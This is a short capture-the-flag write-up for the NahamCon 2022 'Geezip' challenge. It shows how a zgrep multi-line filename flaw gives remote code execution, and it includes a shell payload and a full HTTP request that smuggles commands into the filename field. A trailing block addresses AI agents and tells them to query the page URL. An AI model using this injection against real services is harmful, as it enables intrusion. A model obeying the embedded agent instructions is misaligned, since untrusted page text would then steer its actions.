# Geezip

This is a web application that allows us to `gzip` content and provides a summary using `zgrep`. I found a recent [vulnerability](https://seclists.org/oss-sec/2022/q2/23) in `zgrep` that leads to RCE when using multi-line file names.

However, slashes (`/`) won't work in the filename, so we need to do something like the following to run the `get_flag` binary in the root directory:

```bash
cd .. && export PATH=. && get_flag
```

Placing the above payload into our filename:

```http
POST / HTTP/1.1
Host: challenge.nahamcon.com:31694
Content-Length: 91

...

Connection: close

action=submit&filename=|
;e cd+..+%26%26+export+PATH%3d.+%26%26+get_flag
#.gz&contents=test
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2022/nahamcon-ctf-2022/geezip.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
